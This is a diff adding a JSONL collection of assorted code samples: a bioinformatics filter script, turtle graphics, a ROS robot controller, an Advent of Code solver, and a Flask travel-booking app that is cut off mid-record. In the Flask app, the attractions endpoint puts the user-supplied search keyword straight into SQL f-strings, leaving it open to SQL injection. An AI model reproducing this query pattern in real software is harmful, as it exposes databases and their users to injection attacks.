diff --git "a/2543.jsonl" "b/2543.jsonl" new file mode 100644--- /dev/null +++ "b/2543.jsonl" @@ -0,0 +1,645 @@ +{"seq_id":"274984802","text":"import numpy as np\r\nimport pandas as pd\r\n\r\nCRISPRsFileName = \"/home/utkinai2/Project1/lefties.csv\"\r\nFileWithIDandContigs = \"/home/utkinai2/Project1/all1603.pp.txt\"\r\n# CRISPRsFileName = \"C:/Users/utkinai2/Desktop/Ira/identified.csv\"\r\n# FileWithIDandContigs = \"C:/Users/utkinai2/Desktop/Ira/all1603.pp.txt\"\r\nLeftCRISPRsWithinContigFileName = \"/home/utkinai2/Project1/leftovers_filter.txt\"\r\ncount = 0\r\nOffset = 2000\r\n\r\nContigIDSizes = {}\r\nfor line in open(FileWithIDandContigs, \"r\"):\r\n LineValues = line[:-1].split(\"\\t\")\r\n if line[0] == \"#\":\r\n continue\r\n ContigIDSizes[LineValues[1]] = int(LineValues[4])\r\n\r\n\r\nwith open(LeftCRISPRsWithinContigFileName, \"w\") as LeftCRISPRsWithinContigFile:\r\n for line in open(CRISPRsFileName, \"r\"):\r\n count += 1\r\n if count < 2:\r\n continue # header is skipped now\r\n LineValues = line[:-1].split(\",\")\r\n if LineValues[2].strip(\"\\\"\") in ContigIDSizes:\r\n if (int(LineValues[3]) < Offset) or (int(LineValues[4]) > ContigIDSizes[LineValues[2].strip(\"\\\"\")] - Offset):\r\n continue\r\n LeftCRISPRsWithinContigFile.write(line)\r\n\r\n\r\n\r\n\r\n# count1 = 0\r\n# LineValues = line[:-1].split(\" \")\r\n# for row in open(CRISPRsFileName, \"r\"):\r\n# count1 +=1\r\n# if count1 <2:\r\n# continue\r\n# RowValues = row[:-1].split(\",\")\r\n# if RowValues[2] == LineValues[1]:\r\n\r\n# DataContigs = pd.read_csv(FileWithIDandContigs, sep='\\t', low_memory= False, names = [\"V1\", \"V2\", \"V3\", \"V4\", \"V5\", \"V6\", \"V7\"])\r\n# DataContigs = DataContigs.iloc[1:, :]\r\n# # CotigEnd = DataContigs.iloc[:, \"V5\"]\r\n# CRISPRsFile = pd.read_csv(CRISPRsFileName, sep = ',',low_memory= False)# names = [\"V1\", \"V2\", \"V3\", \"V4\", \"V5\", \"V6\", \"V7\",\"V8\", \"V9\", \"V10\", \"V4\", \"V5\", \"V6\", \"V7\"] )\r\n# #print(CRISPRsFile.tail())\r\n# count = 0\r\n# # print(CRISPRsFile.loc[104, 1], ' ', int(DataContigs.loc[int(CRISPRsFile[104, 1]), 4]))\r\n# for i in range(1, CRISPRsFile.shape[0]):\r\n# if (CRISPRsFile.loc[i, \"V2\"] in DataContigs.loc[2:, \"V2\"]):\r\n# # # print(CRISPRsFile.loc[i, \"V2\"], ' ', int(DataContigs.loc[CRISPRsFile[i, \"V2\"], \"V5\"]))\r\n# # if (int(CRISPRsFile.loc[i, \"V3\"]) < 2000) | (int(CRISPRsFile.loc[i, \"V4\"]) > int(DataContigs.loc[CRISPRsFile[i, \"V2\"], \"V5\"]) - 2000):\r\n# count += 1\r\n# print(count)\r\n\r\n# print(CRISPRsFile.loc[1, \"V2\"])","sub_path":"Filter_by_Contig_location.py","file_name":"Filter_by_Contig_location.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"177812038","text":"#!/usr/bin/python\r\n# -*- coding: UTF-8 -*-\r\nimport turtle\r\n\r\ndef drawSpiral(myTurtle, lineLen):\r\n if lineLen > 0:\r\n myTurtle.forward(lineLen)\r\n myTurtle.right(90)\r\n drawSpiral(myTurtle, lineLen-5)\r\n\r\n\r\nimport sys\r\nimport traceback\r\ndef main(argv=None):\r\n if argv is None:\r\n argv = sys.argv\r\n try:\r\n myTurtle = turtle.Turtle()\r\n myWin = turtle.Screen()\r\n drawSpiral(myTurtle, 100)\r\n myWin.exitonclick()\r\n \r\n except Exception as err:\r\n print(err.message)\r\n traceback.print_exc()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"draw-tree.py","file_name":"draw-tree.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"30017594","text":"import numpy as np\n\nclass leaderboard:\n \n '''\n This class creates a leaderboard.\n '''\n\n results = []\n resultsN = []\n \n def __init__(self):\n# self.name = name\n# self.score = str(score)\n self.names = open(\"names.txt\", \"w+\")\n self.names.close()\n self.scores = open(\"scores.txt\", \"w+\")\n self.scores.close()\n\n def getRank(self, name, score):\n '''\n This function sorts the names and scores in order.\n '''\n names = open(\"names.txt\", \"a+\")\n names.write(name + \"\\n\")\n names.close()\n scores = open(\"scores.txt\", \"a+\")\n scores.write(str(score) + \"\\n\")\n scores.close()\n namesRead = open(\"names.txt\", \"r\")\n resultsN = namesRead.readlines()\n scoresRead = open(\"scores.txt\", \"r\")\n resultsScores = scoresRead.readlines()\n ind = np.argsort(resultsScores)[::-1]\n resultsScores.sort(reverse=True)\n resultsNames = []\n for i in range(len(resultsN)):\n resultsNames.append(resultsN[ind[i]])\n\n return resultsNames, resultsScores\n\n\n","sub_path":"leaderBoard.py","file_name":"leaderBoard.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"53493819","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport rospy\nimport time\n\nfrom geometry_msgs.msg import Twist\nfrom sensor_msgs.msg import JointState\nfrom sensor_msgs.msg import LaserScan\nfrom cvtest.msg import cv_msg #←これを追加\n\n'''\n変えたところ\n 速度を統一、はやくなり過ぎないように+\n あといろいろ\n'''\n\nclass move():\n def __init__(self, bot_name):\n self.name = bot_name\n self.i = 0\n self.counter = 0\n self.tmp_counter = 0\n self.Atack_counter = 0\n self.stuck_counter = 0\n self.counter_flag = False #めんどくせ\n self.cant_move_flag = False\n self.wheel_pre_rot_r = 0.0 #前回の値\n self.wheel_pre_rot_l = 0.0 #前回の値\n self.wheel_ini_rot_r = 0.0 #初期値\n self.wheel_ini_rot_l = 0.0 #初期値\n self.wheel_rot_r = 0.0 #今回の値\n self.wheel_rot_l = 0.0 #今回の値\n self.wheel_rot_temp = 0.0 #前回の仮保存値\n self.tmp_use = 0.0\n self.tmp_timer = rospy.Time.now()\n self.x = 0\n self.th = 0\n self.linear_speed = 0.4\n self.angular_speed = 0.5 #この辺が限界?\n self.cant_move_counter = 0\n # # 超音波センサ検知 (超音波センサ 使うとき有効)\n self.us_left_detect = False\n self.us_right_detect = False\n # # 敵の確認状況\n self.enemyfind_flag = False\n self.enemy_place = 0.0\n self.enemy_vel = 0.0\n self.enemy_dis = 0.0\n\n # # Velocity\n self.vel_pub = rospy.Publisher('cmd_vel', Twist, queue_size=1)\n # # 車輪回転情報\n self.rot_sub = rospy.Subscriber('joint_states', JointState, self.jointstateCallback)\n # # 赤外線センサ\n self.opt_left_sub = rospy.Subscriber('opt_left', LaserScan, self.optLeftCallback)\n # # 超音波センサ\n self.sub_us_left = rospy.Subscriber('us_left', LaserScan, self.us_left_callback, queue_size=1)\n self.sub_us_right = rospy.Subscriber('us_right', LaserScan, self.us_right_callback, queue_size=1)\n # # 画像センサ\n self.cvtest_sub = rospy.Subscriber('cvtest', cv_msg, self.Callback) #←これを追加\n\n # ### 画像センサTopic Subscribe時のCallback関数\n def Callback(self, data):\n# print('test')\n# print(data.status)\n# print(data.isdoubleget)\n# print(data.place)\n# print(data.enemy_vel)\n# print(data.enemy_dis)\n self.enemyfind_flag = data.status\n self.enemy_place = data.place\n self.enemy_vel = data.enemy_vel\n self.enemy_dis = data.enemy_dis\n\n\n # ### 赤外線センサTopic Subscribe時のCallback関数(左)\n def optLeftCallback(self, data):\n self.ranges0 = data.ranges[0] #壁からの距離(m)\n self.ranges1 = data.ranges[1]\n self.ranges2 = data.ranges[2]\n self.mintoWall = min(data.ranges)\n\n # ### 超音波センサTopic Subscribe時のCallback関数(左) (超音波センサ 使うとき有効)\n def us_left_callback(self, sens):\n self.us_left_ranges = sens.ranges[0]\n if self.us_left_ranges < 0.25: # [unit :m]\n self.us_left_detect = True\n else:\n self.us_left_detect = False\n# print('us_left = ',self.us_left_detect,', ',self.us_left_ranges)\n\n # ### 超音波センサTopic Subscribe時のCallback関数(右) (超音波センサ 使うとき有効)\n def us_right_callback(self, sens):\n self.us_right_ranges = sens.ranges[0]\n if self.us_right_ranges < 0.25: # [unit :m]\n self.us_right_detect = True\n else:\n self.us_right_detect = False\n# print('us_right = ',self.us_right_detect,', ',self.us_right_ranges)\n\n def jointstateCallback(self, data): #謎ムーブ\n if self.wheel_rot_temp != data.position[1]: #前回の[0]と今回の[1]が異なる時に値を更新する\n self.wheel_pre_rot_l = self.wheel_rot_l #前回の値の保存\n self.wheel_pre_rot_r = self.wheel_rot_r #前回の値の保存\n if self.i < 3: #おまじないの待機時間\n self.wheel_ini_rot_l = data.position[0]\n self.wheel_ini_rot_r = data.position[1]\n self.wheel_rot_l = data.position[0] - self.wheel_ini_rot_l\n self.wheel_rot_r = data.position[1] - self.wheel_ini_rot_r\n self.i += 1\n else:\n self.wheel_rot_l = data.position[0] - self.wheel_ini_rot_l\n self.wheel_rot_r = data.position[1] - self.wheel_ini_rot_r\n# print('Jointstate_Callback_d ' + str(self.i) + ',' + str(data.position[0]) + ',' + str(data.position[1]))\n# print('Jointstate_Callback_n ' + str(self.i) + ',' + str(self.wheel_rot_r) + ',' + str(self.wheel_rot_l))\n# print('Jointstate_Callback_p ' + str(self.i) + ',' + str(self.wheel_pre_rot_r) + ',' + str(self.wheel_pre_rot_l))\n self.wheel_rot_temp = data.position[0] # [0]の値を保存\n\n def calcTwist(self): #とりあえず回る\n print(self.counter)\n #司令通りに移動できなくなっているかの判定\n if (self.x >= 0.1 or self.x <= -0.1) and self.th== 0.0:\n wheel_ave = (abs(self.wheel_rot_r - self.wheel_pre_rot_r) + abs(self.wheel_rot_l - self.wheel_pre_rot_l) + 0.1)/2 #左右ホイールの移動距離の平均\n# print('wheel_ave x = ' + str(wheel_ave))\n #x=0.1の時、ホイールの移動距離は約0.33/1周期\n if wheel_ave < 0.3 and self.wheel_pre_rot_r != 0.0:\n# print('Can not move x now ' + str(self.wheel_rot_r) + ',' + str(self.wheel_rot_l))\n# print('Can not move x pre ' + str(self.wheel_pre_rot_r) + ',' + str(self.wheel_pre_rot_l))\n self.cant_move_counter += 1\n else:\n self.cant_move_counter = 0\n elif self.th >= 0.1 or self.th <= -0.1:\n wheel_ave = (abs(self.wheel_rot_r - self.wheel_pre_rot_r) + abs(self.wheel_rot_l - self.wheel_pre_rot_l) + 0.01)/2 #左右ホイールの移動距離の平均\n# print('wheel_ave th = ' + str(wheel_ave))\n #th=0.1の時、ホイールの移動距離は約0.045/1周期 360度で約30.0\n if wheel_ave < 0.04 and self.wheel_pre_rot_r != 0.0:\n# print('Can not move th now ' + str(self.wheel_rot_r) + ',' + str(self.wheel_rot_l))\n# print('Can not move th pre ' + str(self.wheel_pre_rot_r) + ',' + str(self.wheel_pre_rot_l))\n self.cant_move_counter += 1\n else:\n self.cant_move_counter = 0\n if self.cant_move_counter >= 3:\n self.cant_move_counter = 0\n self.cant_move_flag = True\n print('Can not move, change the counter!! ')\n\n #左に回転し壁に向かう\n if self.counter == 0 and abs(self.wheel_rot_r - self.wheel_rot_l) < 4.9:\n x = 0.0\n th = self.angular_speed\n elif self.counter == 0:\n self.counter_flag = True\n\n #左に回転し壁に向かう直進\n if self.counter == 1 and self.wheel_rot_l < 55: #45\n x = self.linear_speed\n# print(str(self.counter) + ': OP ' + str(self.mintoWall) + ',' + str(self.ranges0) + ',' + str(self.ranges1) + ',' + str(self.ranges2))\n# print(str(self.counter) + ': US ' + str(self.us_left_detect) + ',' + str(self.us_left_ranges) + ',' + str(self.us_right_ranges))\n #赤外線センサが距離を検知し、壁に向かっている時\n if self.mintoWall < 0.2 and self.us_left_detect == True:\n if self.mintoWall < 0.08:\n x = 0.0\n th = -0.2\n elif self.mintoWall < 0.09:\n x = 0.1\n th = -0.2\n elif self.mintoWall > 0.10:\n x = self.linear_speed\n th = 0.2\n else:\n th = 0.0\n #赤外線センサが距離を検知し、壁に向かっていない時\n elif self.mintoWall < 0.2:\n if self.mintoWall < 0.05:\n x = 0.0\n th = -0.3\n elif self.mintoWall < 0.08:\n x = 0.1\n th = -0.2\n elif self.mintoWall > 0.10:\n x = self.linear_speed\n th = 0.2\n else:\n th = 0.0\n else :\n x = self.linear_speed\n th = 0.2\n\n elif self.counter == 1:\n self.counter_flag = True\n self.tmp_use = abs(self.wheel_rot_r - self.wheel_rot_l)\n\n\n if self.counter == 2 and self.tmp_counter < 2:\n dir_symbol = -1 + 2 * (self.tmp_counter % 2) #0→-1 1→1\n if abs(abs(self.wheel_rot_r - self.wheel_rot_l) - self.tmp_use) < 4.5:\n x = 0\n th = dir_symbol * self.angular_speed\n else:\n x = 0\n th = 0\n self.tmp_counter += 1\n self.tmp_use = abs(self.wheel_rot_r - self.wheel_rot_l)\n elif self.counter == 2:\n self.counter_flag = True\n self.tmp_counter = 0\n\n if self.counter == 3 and not (self.us_right_detect): #45\n x = self.linear_speed\n# print(str(self.counter) + ': OP ' + str(self.mintoWall) + ',' + str(self.ranges0) + ',' + str(self.ranges1) + ',' + str(self.ranges2))\n# print(str(self.counter) + ': US ' + str(self.us_left_detect) + ',' + str(self.us_left_ranges) + ',' + str(self.us_right_ranges))\n #赤外線センサが距離を検知し、壁に向かっている時\n if self.mintoWall < 0.2 and self.us_left_detect == True:\n if self.mintoWall < 0.08:\n x = 0.0 #なんか全力で走るとthの設定が効いてないっぽい\n th = -0.2\n elif self.mintoWall < 0.09:\n x = 0.1 #なんか力で走るとthの設定が効いてないっぽい\n th = -0.2\n elif self.mintoWall > 0.10:\n x = self.linear_speed #なんか力で走るとthの設定が効いてないっぽい\n th = 0.2\n else:\n th = 0.0\n #赤外線センサが距離を検知し、壁に向かっていない時\n elif self.mintoWall < 0.2:\n if self.mintoWall < 0.05:\n x = 0.0 #なんか全力で走るとthの設定が効いてないっぽい\n th = -0.3\n elif self.mintoWall < 0.08:\n x = 0.1 #なんか力で走るとthの設定が効いてないっぽい\n th = -0.2\n elif self.mintoWall > 0.10:\n x = self.linear_speed #なんか力で走るとthの設定が効いてないっぽい\n th = 0.2\n else:\n th = 0.0\n else :\n x = self.linear_speed #なんか力で走るとthの設定が効いてないっぽい\n th = 0.2\n\n elif self.counter == 3:\n self.counter_flag = True\n\n #少しバック\n if self.counter == 4 and self.wheel_rot_l > -1.5:\n x = -self.linear_speed\n th = 0.0\n# print(str(self.counter) + ': OP ' + str(self.mintoWall) + ',' + str(self.ranges0) + ',' + str(self.ranges1) + ',' + str(self.ranges2))\n# print(str(self.counter) + ': US ' + str(self.us_left_detect) + ',' + str(self.us_left_ranges) + ',' + str(self.us_right_ranges))\n elif self.counter == 4:\n self.counter_flag = True\n\n #右回転約90度\n if self.counter == 5 and abs(self.wheel_rot_r - self.wheel_rot_l) < 11:\n x = 0\n th = -1 * self.angular_speed\n# print(str(self.counter) + ': OP ' + str(self.mintoWall) + ',' + str(self.ranges0) + ',' + str(self.ranges1) + ',' + str(self.ranges2))\n# print(str(self.counter) + ': US ' + str(self.us_left_detect) + ',' + str(self.us_left_ranges) + ',' + str(self.us_right_ranges))\n elif self.counter == 5:\n self.counter_flag = True\n self.tmp_timer = rospy.Time.now()\n\n if self.counter == 6 and self.tmp_counter < 2:\n dir_symbol = -1 + 2 * (self.tmp_counter % 2) #0→-1 1→1\n if rospy.Time.now() - self.tmp_timer < rospy.Duration(3):\n x = 0\n th = dir_symbol * self.angular_speed\n else:\n x = 0\n th = 0\n self.tmp_counter += 1\n self.tmp_timer = rospy.Time.now()\n elif self.counter == 6:\n self.counter_flag = True\n self.tmp_counter = 0\n\n\n #敵を追跡\n if self.counter == 10: # and abs(self.wheel_rot_r - self.wheel_rot_l) < 11:\n if self.enemyfind_flag == False:\n self.stuck_counter += 1\n #確実に枠内に捉える\n if self.enemy_place < -0.6 or self.enemy_place > 0.6:\n x = 0.0\n th = -0.3 * self.enemy_place / abs(self.enemy_place)\n else:\n #敵の速度から攻撃方向を見定める\n if self.Atack_counter < 3:\n x = 0.0\n th = 0.0\n self.Atack_Direction = self.enemy_vel\n self.Atack_counter += 1\n #攻撃開始!\n# elif self.Atack_counter >= 3:\n else:\n #敵が右に動いている時 敵が画面左側(-0.3)の位置にいるようにしながら接近\n if self.Atack_Direction >= 0:\n x = 0.3\n th = -1 * (self.enemy_place + 0.3)\n #敵が左に動いている時 敵が画面左側(0.3)の位置にいるようにしながら接近\n else:\n x = 0.3\n th = -1 * (self.enemy_place - 0.3)\n\n\n\n if self.counter_flag:\n self.counter_flag = False\n self.i = 0\n x = 0.0\n th = 0.0\n self.cant_move_counter = 0 #動かないかの判定カウンタもリセット\n print(\"counter \",self.counter,\" end\")\n if self.counter == 6:\n self.counter = 1\n elif self.counter == 10 and self.stuck_counter > 10:\n self.counter = 1\n self.Atack_counter = 0\n else:\n self.counter += 1\n\n if self.cant_move_flag:\n self.cant_move_flag = False\n self.cant_move_counter = 0 #動かないかの判定カウンタもリセット\n print(\"counter \",self.counter,\" end\")\n self.i = 0\n x = 0.0\n th = 0.0\n self.counter = 4 #バックを設定 その後、右回転\n\n if self.enemyfind_flag == True and self.enemy_dis < 1.2: #敵を発見!\n self.i = 0\n# x = 0.0\n# th = 0.0\n self.counter = 10 #敵追跡モード\n\n twist = Twist()\n twist.linear.x = x\n twist.angular.z = th\n self.x = x #値の保存\n self.th = th #値の保存\n# print(twist)\n return twist\n\n def strategy(self):\n rate = rospy.Rate(20)\n while not rospy.is_shutdown():\n twist = self.calcTwist()\n self.vel_pub.publish(twist)\n rate.sleep()\n\nif __name__ == '__main__':\n rospy.init_node('runtest')\n bot = move('runtest')\n bot.strategy()\n","sub_path":"onigiri_war/scripts/kamei_d_mod.py","file_name":"kamei_d_mod.py","file_ext":"py","file_size_in_byte":15984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"434904167","text":"# import fres_tomatoes, media\nimport fresh_tomatoes\nimport media\n\n# movies\n# toy_story, school_of_rock will be instantiated as Movie objects.\n# take in as arg (title, movie_story, poster, trailer, ratings, and year)\ntoy_story = media.Movie(\n \"Toy Story\",\n \"A story of a boy and his toys\",\n \"https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg\",\n \"https://www.youtube.com/watch?v=KYz2wyBy3kc\",\n media.Video.VIDEO_RATINGS[0],\n 1955)\n\nschool_of_rock = media.Movie(\n \"School Of Rock\",\n \"A musician pretends to be a substitute music teacher\",\n \"https://upload.wikimedia.org/wikipedia/en/1/11/School_of_Rock_Poster.jpg\",\n \"https://www.youtube.com/watch?v=XCwy6lW5Ixc\",\n media.Video.VIDEO_RATINGS[2],\n 2003)\n\n# television\n# seinfeld and the_cosby_show will be instantiated as Television objects.\n# Arguements, (title, story, poster, trailer, ratings, and seasons)\nseinfeld = media.Television(\n \"Seinfeld\",\n \"A show about 4 friends and nothing else.\",\n \"http://www.sonypictures.com/tv/seinfeld/assets/images/onesheet.jpg\",\n \"https://www.youtube.com/watch?v=dHh_ddv-dBE\",\n media.Video.VIDEO_RATINGS[3],\n 9)\n\nthe_cosby_show = media.Television(\n \"The Cosby Show\",\n \"A doctor and lawyer raise their family in Brooklyn\",\n \"http://www.carseywerner.net/images/cosbyshow_main_max.jpg\",\n \"https://www.youtube.com/watch?v=NcodNEyTiSE\",\n media.Video.VIDEO_RATINGS[2],\n 8)\n\n# To run the program, store the movie/television objects in an array\nvideos = [toy_story, school_of_rock, seinfeld, the_cosby_show]\n\n# Call open_movies_page which will create the 'fresh_tomatoes' html file\nfresh_tomatoes.open_movies_page(videos)\n","sub_path":"entertainment_center.py","file_name":"entertainment_center.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"30223210","text":"from getinput import get_input\nimport textwrap\nimport unittest\n\n\ndef swap_index(s, idx, jdx):\n mndx = min(idx, jdx)\n mxdx = max(idx, jdx)\n return s[:mndx] + s[mxdx] + s[mndx + 1:mxdx] + s[mndx] + s[mxdx + 1:]\n\n\ndef rotate_string_left(s, r):\n r = r % len(s)\n return s[r:] + s[:r]\n\n\ndef reverse_string(s, x, y):\n return s[:x] + ''.join(reversed(s[x:y+1])) + s[y+1:]\n\n\ndef move_letter(s: str, x, y):\n if x == y:\n return s\n elif x < y:\n return s[:x] + s[x+1:y+1] + s[x] + s[y+1:]\n elif y < x:\n return s[:y] + s[x] + s[y:x] + s[x+1:]\n\n\ndef execute(instr, s: str):\n words = instr.split()\n if words[0] == 'swap':\n if words[1] == 'position':\n return swap_index(s, int(words[2]), int(words[5]))\n elif words[1] == 'letter':\n return swap_index(s, s.index(words[2]), s.index(words[5]))\n elif words[0] == 'rotate':\n if words[1] == 'left':\n return rotate_string_left(s, int(words[2]))\n elif words[1] == 'right':\n return rotate_string_left(s, -int(words[2]))\n elif words[1] == 'based':\n idx = s.index(words[-1])\n rotations = idx + 1 + (1 if idx >= 4 else 0)\n return rotate_string_left(s, -rotations)\n elif words[0] == 'reverse':\n return reverse_string(s, int(words[2]), int(words[4]))\n elif words[0] == 'move':\n return move_letter(s, int(words[2]), int(words[5]))\n\n\ndef unexecute(instr, s: str):\n backrotate_map = {\n 1: 1,\n 3: 2,\n 5: 3,\n 7: 4,\n 2: 6,\n 4: 7,\n 6: 0,\n 0: 1\n }\n\n words = instr.split()\n if words[0] == 'swap':\n if words[1] == 'position':\n return swap_index(s, int(words[2]), int(words[5]))\n elif words[1] == 'letter':\n return swap_index(s, s.index(words[2]), s.index(words[5]))\n elif words[0] == 'rotate':\n if words[1] == 'left':\n return rotate_string_left(s, -int(words[2]))\n elif words[1] == 'right':\n return rotate_string_left(s, int(words[2]))\n elif words[1] == 'based':\n idx = s.index(words[-1])\n rotations = backrotate_map[idx]\n return rotate_string_left(s, rotations)\n elif words[0] == 'reverse':\n return reverse_string(s, int(words[2]), int(words[4]))\n elif words[0] == 'move':\n return move_letter(s, int(words[5]), int(words[2]))\n\n\ndef part_1(big_str):\n start_str = 'abcdefgh'\n for line in big_str.splitlines(keepends=False):\n start_str = execute(line, start_str)\n return start_str\n\n\ndef part_2(big_str):\n end_str = 'fbgdceah'\n for line in reversed(big_str.splitlines(keepends=False)):\n end_str = unexecute(line, end_str)\n return end_str\n\n\nclass TestStringMethods(unittest.TestCase):\n def setUp(self) -> None:\n self.instrs = textwrap.dedent(\"\"\"\\\n swap position 4 with position 0\n swap letter d with letter b\n reverse positions 0 through 4\n rotate left 1 step\n move position 1 to position 4\n move position 3 to position 0\n rotate based on position of letter b\n rotate based on position of letter d\"\"\")\n self.desired = [\n 'abcdefgh',\n 'ebcdafgh',\n 'edcbafgh',\n 'abcdefgh',\n 'bcdefgha',\n 'bdefcgha',\n 'fbdecgha',\n 'hafbdecg',\n 'fbdecgha'\n ]\n\n def test_fwd(self):\n s = self.desired[0]\n for i, d in zip(self.instrs.splitlines(keepends=False), self.desired[1:]):\n s = execute(i, s)\n self.assertEqual(d, s, msg=i)\n\n def test_bkwd(self):\n s = self.desired[-1]\n for i, d in zip(self.instrs.splitlines(keepends=False)[::-1], self.desired[-2::-1]):\n s = unexecute(i, s)\n self.assertEqual(d, s, msg=i)\n\n\nif __name__ == \"__main__\":\n # unittest.main()\n\n the_big_str = get_input(21)\n\n print('Part 1:', part_1(the_big_str))\n print('Part 2:', part_2(the_big_str))\n","sub_path":"2016/day21.py","file_name":"day21.py","file_ext":"py","file_size_in_byte":4046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"268020874","text":"from flask import *\nimport mysql.connector\nimport json, time,secrets,os\nimport requests, random\nfrom datetime import datetime\nfrom mysql.connector import pooling\nfrom dotenv import load_dotenv\n\napp=Flask(__name__,static_folder=\"static\", \nstatic_url_path=\"/\")\nload_dotenv()\nPASSWORD=os.getenv(\"PASSWORD\")\napp.config[\"JSON_AS_ASCII\"]=False\napp.config[\"TEMPLATES_AUTO_RELOAD\"]=True\napp.config[\"DEBUG\"] = True\napp.config['SECRET_KEY'] = secrets.token_hex(16)\n#connect database\ndbconfig = {\n \"host\":\"localhost\",\n \"user\":\"root\",\n\t\"database\":\"taipei_web_data\",\n \"password\":PASSWORD,\n \"buffered\":True\n}\ncnxpool = mysql.connector.pooling.MySQLConnectionPool(pool_name = \"mypool\",\n pool_size = 5,\n **dbconfig)\n \n\n\n# Pages\n@app.route(\"/\")\ndef index():\n\treturn render_template(\"index.html\")\n@app.route(\"/attraction/\")\ndef attraction(id):\n\treturn render_template(\"attraction.html\")\n@app.route(\"/booking\")\ndef booking():\n\treturn render_template(\"booking.html\")\n@app.route(\"/thankyou\")\ndef thankyou():\n\treturn render_template(\"thankyou.html\")\n@app.route(\"/member\")\ndef member():\n\treturn render_template(\"member.html\")\n\n@app.route(\"/api/attractions\")\ndef api_attractions():\n\t#get keyword and page query\n\tcnx= cnxpool.get_connection()\n\tcursor = cnx.cursor()\n\tkeyword=request.args.get(\"keyword\")\n\tpage=request.args.get(\"page\")\n\tif page:\n\t\tpage=int(page)\n\t\tnextPage=0\n\t\tresult=[]\n\t\t#輸入keyword和page的判斷\t\n\t\tif keyword:\n\t\t\t#根據所在page得到資料庫的十二筆資料\n\t\t\tcursor.execute(f\"SELECT * FROM attractions WHERE name LIKE '%{keyword}%' ORDER BY id LIMIT {page*12},12\")\n\t\t\tmatched_data=cursor.fetchall()\n\t\t\t#得到資料庫總筆數\n\t\t\tcursor.execute(f\"SELECT COUNT(id) FROM attractions WHERE name LIKE '%{keyword}%'\")\n\t\t\tattractions_counts= cursor.fetchone()\n\n\t\t#只有輸入Page的判斷\t\n\t\telse: \n\t\t\t#根據所在page得到資料庫的十二筆資料\n\t\t\tcursor.execute(f\"SELECT * FROM attractions ORDER BY id LIMIT {page*12},12\")\n\t\t\tmatched_data=cursor.fetchall()\n\t\t\t#得到資料庫總筆數\n\t\t\tcursor.execute(\"SELECT COUNT(id) FROM attractions\")\n\t\t\tattractions_counts= cursor.fetchone()\n\t\t#nextpage判斷\n\t\tif(attractions_counts[0]-(page*12+12))>0:\n\t\t\tnextPage=page+1\n\t\telse:\n\t\t\tnextPage=None\n\t\t#將得到資料放入json格式資料\n\t\tfor each_matched_data in matched_data:\n\t\t\timages=json.loads(each_matched_data[9])\n\t\t\teach_matched_data={\n\t\t\t\"id\":each_matched_data[0],\n\t\t\t\"name\":each_matched_data[1],\n\t\t\t\"category\":each_matched_data[2],\n\t\t\t\"description\":each_matched_data[3],\n\t\t\t\"address\":each_matched_data[4],\n\t\t\t\"transport\":each_matched_data[5],\n\t\t\t\"mrt\":each_matched_data[6],\n\t\t\t\"latitude\":each_matched_data[7],\n\t\t\t\"longitude\":each_matched_data[8],\n\t\t\t\"images\":images}\n\t\t\t# print(each_matched_data)\n\t\t\tresult.append(each_matched_data)\n\t\t\t\n\t\t#回傳json格式\n\t\tdata={\"nextPage\": nextPage,\"data\":result}\n\t\tdata=json.dumps(data)\n\t\tcnx.close()\n\t\treturn (data,200)\n\t\t\n\telse:\n\t\tdata={\"error\": True,\"message\": \"自訂的錯誤訊息\"}\n\t\tdata=json.dumps(data)\n\t\tcnx.close()\n\t\treturn (data,500)\n\n\t\n\n\n@app.route(\"/api/attraction/\")\ndef api_attraction(attractionId):\n\t#得到資料庫總筆數\n\tcnx= cnxpool.get_connection()\n\tcursor = cnx.cursor()\n\tcursor.execute(\"SELECT COUNT(id) FROM attractions\")\n\tattractions_counts= cursor.fetchone()\n\t\n\tif attractionId.isnumeric() and (int(attractionId)\")\ndef api_order(orderNumber):\n\tcnx= cnxpool.get_connection()\n\tcursor = cnx.cursor()\n\tif request.method == \"GET\":\n\t\tuserEmail=session.get('userEmail')\n\t\tif userEmail:\n\t\t\tcursor.execute(\"SELECT * FROM payStatus WHERE orderNumber = %s\",(orderNumber,))\n\t\t\tdataFromPayStatus=cursor.fetchone()\n\t\t\tif dataFromPayStatus:\n\t\t\t\tcursor.execute(\"SELECT attractions.id,attractions.name,attractions.address,attractions.images FROM payStatus INNER JOIN attractions ON payStatus.attractionId=attractions.id WHERE attractionId =%s\",(dataFromPayStatus[7],))\n\t\t\t\tdataFromAttractionId=cursor.fetchone()\n\t\t\t\timages=json.loads( dataFromAttractionId[3])\n\t\t\t\tdata={\"data\": {\n\t\t\t\t\t\"number\": dataFromPayStatus[1],\n\t\t\t\t\t\"price\": dataFromPayStatus[10],\n\t\t\t\t\t\"trip\": {\n\t\t\t\t\t\t\"attraction\": {\n\t\t\t\t\t\t\t\"id\": dataFromAttractionId[0],\n\t\t\t\t\t\t\t\"name\": dataFromAttractionId[1],\n\t\t\t\t\t\t\t\"address\": dataFromAttractionId[2],\n\t\t\t\t\t\t\t\"image\":images[0]},\n\t\t\t\t\t\t\"date\": dataFromPayStatus[8],\n\t\t\t\t\t\t\"time\": dataFromPayStatus[9]},\n\t\t\t\t\t\"contact\": {\n\t\t\t\t\t\t\"name\": dataFromPayStatus[3],\n\t\t\t\t\t\t\"email\": dataFromPayStatus[4],\n\t\t\t\t\t\t\"phone\": dataFromPayStatus[5],\n\t\t\t\t\t\t},\n\t\t\t\t\t\"status\": dataFromPayStatus[2]}\n\t\t\t\t\t}\n\t\t\t\t# print(data)\n\t\t\t\tcnx.close()\n\t\t\t\treturn jsonify(data),200\n\n\t\t\telse:\n\t\t\t\tcnx.close()\n\t\t\t\treturn jsonify({\"error\":True,\"message\": 